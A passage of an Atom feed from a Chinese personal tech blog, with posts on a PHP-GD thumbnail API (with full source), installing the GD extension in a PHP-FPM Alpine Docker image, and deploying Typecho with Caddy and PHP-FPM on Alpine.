class="string">&#x27;/\s+/&#x27;</span>, <span class="string">&#x27; &#x27;</span>, <span class="variable">$clean</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">Typecho_Common</span>::<span class="title function_ invoke__">subStr</span>(<span class="variable">$clean</span>, <span class="number">0</span>, <span class="variable">$max_length</span>, <span class="string">&#x27;...&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://careful.fyi/posts/1742198990/</id>
    <link href="https://careful.fyi/posts/1742198990/"/>
    <published>2025-03-17T08:09:50.000Z</published>
    <summary>
      <![CDATA[<p>在移植大叔的 Cherry 主题过程中，发现 WordPress 版本有一项功能是文章内容中插入其他文章的卡片，直接删掉该模块有些可惜，遂研究了下该如何实现，检索后发现已经有短代码插件可以使用，但不太符合需求，所以考虑利用 <code>functions.php</code]]>
    </summary>
    <title>主题移植小记：给Typecho添加短代码功能</title>
    <updated>2026-02-28T05:27:03.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>谨行</name>
    </author>
    <category term="技术" scheme="https://careful.fyi/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="PHP" scheme="https://careful.fyi/tags/PHP/"/>
    <category term="API" scheme="https://careful.fyi/tags/API/"/>
    <category term="DeepSeek" scheme="https://careful.fyi/tags/DeepSeek/"/>
    <content>
      <![CDATA[<p>基于PHP实现的缩略图API在Github上有现成的，但过于老旧，遂用DeepSeek写了一个，基于PHP的GD扩展实现，支持域名白名单，本地缓存，临时文件隔离，过期缓存文件清理，需要在配置中修改域名白名单及缓存文件存放目录。</p><p>考虑到所使用服务器存储空间有限，故加入了缓存清理机制，缓存逻辑：在调用api时，有1%的概率触发缓存清理流程，会自动清理<code>/cache/</code>目录下留存时间大于30天的文件，同时加入了容错机制，如果当前请求传入的图片链接被清除，则会重新生成。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// 配置部分</span></span><br><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;ALLOWED_DOMAINS&#x27;</span>, [<span class="string">&#x27;careful.fyi&#x27;</span>, <span class="string">&#x27;static.careful.fyi&#x27;</span>]); <span class="comment">// 允许的域名白名单</span></span><br><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;CACHE_DIR&#x27;</span>, <span class="keyword">__DIR__</span> . <span class="string">&#x27;/cache/&#x27;</span>);        <span class="comment">// 缓存目录</span></span><br><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;TMP_DIR&#x27;</span>, <span class="keyword">__DIR__</span> . <span class="string">&#x27;/temp/&#x27;</span>);            <span class="comment">// 临时文件目录</span></span><br><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;MAX_CACHE_AGE&#x27;</span>, <span class="number">2592000</span>);                 <span class="comment">// 30天缓存有效期（秒）</span></span><br><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;CACHE_CLEAN_PROBABILITY&#x27;</span>, <span class="number">1</span>);            <span class="comment">// 1% 的清理概率</span></span><br><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;MAX_IMAGE_SIZE&#x27;</span>, <span class="number">5242880</span>);                <span class="comment">// 最大图片尺寸5MB</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 初始化目录</span></span><br><span class="line">@<span class="title function_ invoke__">mkdir</span>(CACHE_DIR, <span class="number">0755</span>, <span class="literal">true</span>);</span><br><span class="line">@<span class="title function_ invoke__">mkdir</span>(TMP_DIR, <span class="number">0755</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="comment">// 验证参数</span></span><br><span class="line">    <span class="variable">$url</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;url&#x27;</span>] ?? <span class="literal">null</span>;</span><br><span class="line">    <span class="variable">$width</span> = <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;w&#x27;</span>]) ? <span class="title function_ invoke__">intval</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;w&#x27;</span>]) : <span class="literal">null</span>;</span><br><span class="line">    <span class="variable">$height</span> = <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;h&#x27;</span>]) ? <span class="title function_ invoke__">intval</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;h&#x27;</span>]) : <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 基础参数验证</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable">$url</span> || !<span class="variable">$width</span> || !<span class="variable">$height</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;Missing parameters&#x27;</span>, <span class="number">400</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 验证尺寸参数</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$width</span> &lt;= <span class="number">0</span> || <span class="variable">$height</span> &lt;= <span class="number">0</span> || <span class="variable">$width</span> &gt; <span class="number">4096</span> || <span class="variable">$height</span> &gt; <span class="number">4096</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;Invalid dimensions&#x27;</span>, <span class="number">400</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 验证URL合法性</span></span><br><span class="line">    <span class="variable">$parsedUrl</span> = <span class="title function_ invoke__">parse_url</span>(<span class="variable">$url</span>);</span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable">$parsedUrl</span> || !<span class="keyword">isset</span>(<span class="variable">$parsedUrl</span>[<span class="string">&#x27;host&#x27;</span>])) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;Invalid URL&#x27;</span>, <span class="number">400</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 域名白名单验证</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">in_array</span>(<span class="variable">$parsedUrl</span>[<span class="string">&#x27;host&#x27;</span>], ALLOWED_DOMAINS)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;Domain not allowed&#x27;</span>, <span class="number">403</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 生成缓存文件名</span></span><br><span class="line">    <span class="variable">$cacheKey</span> = <span class="title function_ invoke__">md5</span>(<span class="variable">$url</span> . <span class="variable">$width</span> . <span class="variable">$height</span>);</span><br><span class="line">    <span class="variable">$extension</span> = <span class="title function_ invoke__">pathinfo</span>(<span class="variable">$parsedUrl</span>[<span class="string">&#x27;path&#x27;</span>], PATHINFO_EXTENSION);</span><br><span class="line">    <span class="variable">$cacheFile</span> = CACHE_DIR . <span class="variable">$cacheKey</span> . <span class="string">&#x27;.&#x27;</span> . (<span class="variable">$extension</span> ?: <span class="string">&#x27;jpg&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">file_exists</span>(<span class="variable">$cacheFile</span>)) &#123;</span><br><span class="line">        <span class="comment">// 概率性触发缓存清理（不影响当前请求）</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">rand</span>(<span class="number">1</span>, <span class="number">100</span>) &lt;= CACHE_CLEAN_PROBABILITY) &#123;</span><br><span class="line">            <span class="title function_ invoke__">cleanCache</span>(<span class="variable">$cacheKey</span>); <span class="comment">// 修改清理函数避免删除当前文件</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 再次检查缓存文件是否存在</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">file_exists</span>(<span class="variable">$cacheFile</span>)) &#123;</span><br><span class="line">            <span class="title function_ invoke__">sendImage</span>(<span class="variable">$cacheFile</span>);</span><br><span class="line">            <span class="keyword">exit</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 如果文件被清理，继续生成流程</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 下载远程文件到临时目录</span></span><br><span class="line">    <span class="variable">$tmpFile</span> = <span class="title function_ invoke__">downloadImage</span>(<span class="variable">$url</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 生成缩略图</span></span><br><span class="line">    <span class="title function_ invoke__">generateThumbnail</span>(<span class="variable">$tmpFile</span>, <span class="variable">$cacheFile</span>, <span class="variable">$width</span>, <span class="variable">$height</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 清理临时文件</span></span><br><span class="line">    @<span class="title function_ invoke__">unlink</span>(<span class="variable">$tmpFile</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 发送生成的图片</span></span><br><span class="line">    <span class="title function_ invoke__">sendImage</span>(<span class="variable">$cacheFile</span>);</span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">catch</span> (<span class="built_in">Exception</span> <span class="variable">$e</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="variable">$e</span>-&gt;<span class="title function_ invoke__">getCode</span>() ?: <span class="number">500</span>);</span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&#x27;Content-Type: application/json&#x27;</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([<span class="string">&#x27;error&#x27;</span> =&gt; <span class="variable">$e</span>-&gt;<span class="title function_ invoke__">getMessage</span>()]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 辅助函数</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">downloadImage</span>(<span class="params"><span class="variable">$url</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$context</span> = <span class="title function_ invoke__">stream_context_create</span>([</span><br><span class="line">        <span class="string">&#x27;http&#x27;</span> =&gt; [</span><br><span class="line">            <span class="string">&#x27;timeout&#x27;</span> =&gt; <span class="number">15</span>,</span><br><span class="line">            <span class="string">&#x27;header&#x27;</span> =&gt; <span class="string">&quot;User-Agent: ThumbnailGenerator/1.0\r\n&quot;</span></span><br><span class="line">        ]</span><br><span class="line">    ]);</span><br><span class="line">    </span><br><span class="line">    <span class="variable">$data</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$url</span>, <span class="literal">false</span>, <span class="variable">$context</span>);</span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable">$data</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;Failed to download image&#x27;</span>, <span class="number">500</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">strlen</span>(<span class="variable">$data</span>) &gt; MAX_IMAGE_SIZE) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;Image too large&#x27;</span>, <span class="number">413</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="variable">$tmpFile</span> = <span class="title function_ invoke__">tempnam</span>(TMP_DIR, <span class="string">&#x27;img_&#x27;</span>);</span><br><span class="line">    <span class="title function_ invoke__">file_put_contents</span>(<span class="variable">$tmpFile</span>, <span class="variable">$data</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$tmpFile</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">generateThumbnail</span>(<span class="params"><span class="variable">$srcPath</span>, <span class="variable">$destPath</span>, <span class="variable">$width</span>, <span class="variable">$height</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">list</span>(<span class="variable">$srcWidth</span>, <span class="variable">$srcHeight</span>, <span class="variable">$type</span>) = <span class="title function_ invoke__">getimagesize</span>(<span class="variable">$srcPath</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 创建图像资源</span></span><br><span class="line">    <span class="keyword">switch</span> (<span class="variable">$type</span>) &#123;</span><br><span class="line">        <span class="keyword">case</span> IMAGETYPE_JPEG:</span><br><span class="line">            <span class="variable">$image</span> = <span class="title function_ invoke__">imagecreatefromjpeg</span>(<span class="variable">$srcPath</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> IMAGETYPE_PNG:</span><br><span class="line">            <span class="variable">$image</span> = <span class="title function_ invoke__">imagecreatefrompng</span>(<span class="variable">$srcPath</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> IMAGETYPE_GIF:</span><br><span class="line">            <span class="variable">$image</span> = <span class="title function_ invoke__">imagecreatefromgif</span>(<span class="variable">$srcPath</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">default</span>:</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;Unsupported image type&#x27;</span>, <span class="number">415</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 计算比例并进行居中裁剪</span></span><br><span class="line">    <span class="variable">$ratio</span> = <span class="title function_ invoke__">max</span>(<span class="variable">$width</span>/<span class="variable">$srcWidth</span>, <span class="variable">$height</span>/<span class="variable">$srcHeight</span>);</span><br><span class="line">    <span class="variable">$cropWidth</span> = <span class="variable">$width</span> / <span class="variable">$ratio</span>;</span><br><span class="line">    <span class="variable">$cropHeight</span> = <span class="variable">$height</span> / <span class="variable">$ratio</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="variable">$src_x</span> = (<span class="variable">$srcWidth</span> - <span class="variable">$cropWidth</span>) / <span class="number">2</span>;</span><br><span class="line">    <span class="variable">$src_y</span> = (<span class="variable">$srcHeight</span> - <span class="variable">$cropHeight</span>) / <span class="number">2</span>;</span><br><span class="line">    <span class="variable">$thumb</span> = <span class="title function_ invoke__">imagecreatetruecolor</span>(<span class="variable">$width</span>, <span class="variable">$height</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 处理透明背景</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$type</span> == IMAGETYPE_PNG || <span class="variable">$type</span> == IMAGETYPE_GIF) &#123;</span><br><span class="line">        <span class="title function_ invoke__">imagecolortransparent</span>(<span class="variable">$thumb</span>, <span class="title function_ invoke__">imagecolorallocatealpha</span>(<span class="variable">$thumb</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">127</span>));</span><br><span class="line">        <span class="title function_ invoke__">imagealphablending</span>(<span class="variable">$thumb</span>, <span class="literal">false</span>);</span><br><span class="line">        <span class="title function_ invoke__">imagesavealpha</span>(<span class="variable">$thumb</span>, <span class="literal">true</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="title function_ invoke__">imagecopyresampled</span>(</span><br><span class="line">        <span class="variable">$thumb</span>, <span class="variable">$image</span>,</span><br><span class="line">        <span class="number">0</span>, <span class="number">0</span>,</span><br><span class="line">        <span class="variable">$src_x</span>, <span class="variable">$src_y</span>,</span><br><span class="line">        <span class="variable">$width</span>, <span class="variable">$height</span>,</span><br><span class="line">        <span class="variable">$cropWidth</span>, <span class="variable">$cropHeight</span></span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 保存图像</span></span><br><span class="line">    <span class="title function_ invoke__">imagejpeg</span>(<span class="variable">$thumb</span>, <span class="variable">$destPath</span>, <span class="number">100</span>);</span><br><span class="line">    <span class="title function_ invoke__">imagedestroy</span>(<span class="variable">$image</span>);</span><br><span class="line">    <span class="title function_ invoke__">imagedestroy</span>(<span class="variable">$thumb</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">sendImage</span>(<span class="params"><span class="variable">$path</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">file_exists</span>(<span class="variable">$path</span>)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;Image not found&#x27;</span>, <span class="number">404</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$mime</span> = <span class="title function_ invoke__">mime_content_type</span>(<span class="variable">$path</span>);</span><br><span class="line">    <span class="variable">$lastModified</span> = <span class="title function_ invoke__">filemtime</span>(<span class="variable">$path</span>);</span><br><span class="line">    <span class="variable">$etag</span> = <span class="title function_ invoke__">md5_file</span>(<span class="variable">$path</span>);</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&#x27;Content-Type: &#x27;</span> . <span class="variable">$mime</span>);</span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&#x27;Last-Modified: &#x27;</span> . <span class="title function_ invoke__">gmdate</span>(<span class="string">&#x27;D, d M Y H:i:s&#x27;</span>, <span class="variable">$lastModified</span>) . <span class="string">&#x27; GMT&#x27;</span>);</span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&#x27;ETag: &#x27;</span> . <span class="variable">$etag</span>);</span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&#x27;Expires: &#x27;</span> . <span class="title function_ invoke__">gmdate</span>(<span class="string">&#x27;D, d M Y H:i:s&#x27;</span>, <span class="title function_ invoke__">time</span>() + MAX_CACHE_AGE) . <span class="string">&#x27; GMT&#x27;</span>);</span><br><span class="line">    <span class="title function_ invoke__">readfile</span>(<span class="variable">$path</span>);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 缓存清理函数</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">cleanCache</span>(<span class="params"><span class="variable">$excludeKey</span> = <span class="literal">null</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$now</span> = <span class="title function_ invoke__">time</span>();</span><br><span class="line">    <span class="keyword">foreach</span> (<span class="title function_ invoke__">glob</span>(CACHE_DIR . <span class="string">&#x27;*&#x27;</span>) <span class="keyword">as</span> <span class="variable">$file</span>) &#123;</span><br><span class="line">        <span class="comment">// 排除当前正在使用的缓存文件</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$excludeKey</span> &amp;&amp; <span class="title function_ invoke__">strpos</span>(<span class="variable">$file</span>, <span class="variable">$excludeKey</span>) !== <span class="literal">false</span>) &#123;</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">is_file</span>(<span class="variable">$file</span>) &amp;&amp; (<span class="variable">$now</span> - <span class="title function_ invoke__">filemtime</span>(<span class="variable">$file</span>)) &gt; MAX_CACHE_AGE) &#123;</span><br><span class="line">            @<span class="title function_ invoke__">unlink</span>(<span class="variable">$file</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>调用格式：<code>[api地址]?url=[图片地址]&amp;w=[宽度]&amp;h=[宽度]</code>，示例：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://api.careful.fyi/thumbnail.php?url=https://careful.fyi/upload/images/thumbnail.jpg&amp;w=840&amp;h=420</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://careful.fyi/posts/1716019672/</id>
    <link href="https://careful.fyi/posts/1716019672/"/>
    <published>2024-05-18T08:07:52.000Z</published>
    <summary>
      <![CDATA[<p>基于PHP实现的缩略图API在Github上有现成的，但过于老旧，遂用DeepSeek写了一个，基于PHP的GD扩展实现，支持域名白名单，本地缓存，临时文件隔离，过期缓存文件清理，需要在配置中修改域名白名单及缓存文件存放目录。</p>
<p>考虑到所使用服务器存储空间有限，]]>
    </summary>
    <title>基于PHP-GD实现的单文件图片缩略图API</title>
    <updated>2026-02-28T05:28:36.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>谨行</name>
    </author>
    <category term="技术" scheme="https://careful.fyi/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="PHP" scheme="https://careful.fyi/tags/PHP/"/>
    <category term="Docker" scheme="https://careful.fyi/tags/Docker/"/>
    <content>
      <![CDATA[<p>GD 是 PHP 中的一个图像处理扩展，在生成缩略图时需要用到，但使用的 <code>php:7.4-fpm-alpine</code> ​中并未预装，尝试使用 <code>docker-php-ext-install gd</code> ​安装失败，经过查阅资料后终于成功安装上，记录如下。</p><h3 id="更换国内镜像源"><a href="#更换国内镜像源" class="headerlink" title="更换国内镜像源"></a>更换国内镜像源</h3><p>因为使用的是国内服务器，apline 官方源访问很慢，所以更换成阿里云的源。<code>vi /etc/apk/repositories</code> ​将其中的域名更换成 <code>mirrors.aliyun.com</code>​，这里以 <code>php:7.4-fpm-alpine</code> ​镜像为例。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">https://mirrors.aliyun.com/alpine/v3.15/main</span><br><span class="line">https://mirrors.aliyun.com/alpine/v3.15/community</span><br></pre></td></tr></table></figure><h3 id="安装相关依赖"><a href="#安装相关依赖" class="headerlink" title="安装相关依赖"></a>安装相关依赖</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apk add --no-cache --update curl openssl libpng-dev libjpeg-turbo-dev freetype-dev libzip-dev unzip</span><br></pre></td></tr></table></figure><h3 id="安装-GD-扩展"><a href="#安装-GD-扩展" class="headerlink" title="安装 GD 扩展"></a>安装 GD 扩展</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-php-ext-configure gd --with-freetype --with-jpeg &amp;&amp; docker-php-ext-install gd</span><br></pre></td></tr></table></figure><p>安装完成后需重启 Docker 容器，可以查看 PHPINFO 来验证是否安装成功。</p>]]>
    </content>
    <id>https://careful.fyi/posts/1693107500/</id>
    <link href="https://careful.fyi/posts/1693107500/"/>
    <published>2023-08-27T03:38:20.000Z</published>
    <summary>
      <![CDATA[<p>GD 是 PHP 中的一个图像处理扩展，在生成缩略图时需要用到，但使用的 <code>php:7.4-fpm-alpine</code> ​中并未预装，尝试使用 <code>docker-php-ext-install gd</code> ​安装失败，经过查阅资料后终于成功]]>
    </summary>
    <title>给Docker中的PHP-FPM镜像安装GD扩展</title>
    <updated>2026-02-28T05:29:33.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>谨行</name>
    </author>
    <category term="技术" scheme="https://careful.fyi/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="PHP" scheme="https://careful.fyi/tags/PHP/"/>
    <category term="Typecho" scheme="https://careful.fyi/tags/Typecho/"/>
    <category term="Docker" scheme="https://careful.fyi/tags/Docker/"/>
    <category term="Caddy" scheme="https://careful.fyi/tags/Caddy/"/>
    <content>
      <![CDATA[<p>最近在逛 NodeSeek 时，看到网友分享的阿里云通过自定义镜像 156 块购买 5 年云服务器的办法，但存储只有 1G，使用 Docker 部署后存储空间太小，所以考虑直接用包管理来安装 Caddy2+PHP-FPM 来部署 Typecho 博客。</p><h2 id="更换国内镜像源"><a href="#更换国内镜像源" class="headerlink" title="更换国内镜像源"></a>更换国内镜像源</h2><p>因为使用的是国内服务器，apline 官方源访问很慢，所以更换成阿里云的源。<code>vi /etc/apk/repositories</code> ​将其中的域名更换成 <code>mirrors.aliyun.com</code>，这里使用的是 Alpine v3.15 版本。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">https://mirrors.aliyun.com/alpine/v3.15/main</span><br><span class="line">https://mirrors.aliyun.com/alpine/v3.15/community</span><br></pre></td></tr></table></figure><h2 id="安装软件包"><a href="#安装软件包" class="headerlink" title="安装软件包"></a>安装软件包</h2><p>因为服务器内存只有 512MB，所以直接使用的 Sqlite，没有安装 Mysql 扩展，其他扩展(例如 memcached)可根据需求来增删。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apk add php7-common php7-curl php7-ctype php7-fpm php7-fileinfo php7-gd php7-mbstring php7-pdo_sqlite php7-pecl-memcached php7-session php7-tokenizer php7-json php7-openssl openssl ca-certificates caddy memcached curl</span><br></pre></td></tr></table></figure><h2 id="配置-PHP-FPM"><a href="#配置-PHP-FPM" class="headerlink" title="配置 PHP-FPM"></a>配置 PHP-FPM</h2><p>编辑 <code>/etc/php7/php-fpm.d/www.conf</code> ​文件，修改如下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">user = caddy</span><br><span class="line">group = caddy</span><br><span class="line"></span><br><span class="line">listen = /var/run/php-fpm.sock</span><br><span class="line"></span><br><span class="line">listen.owner = 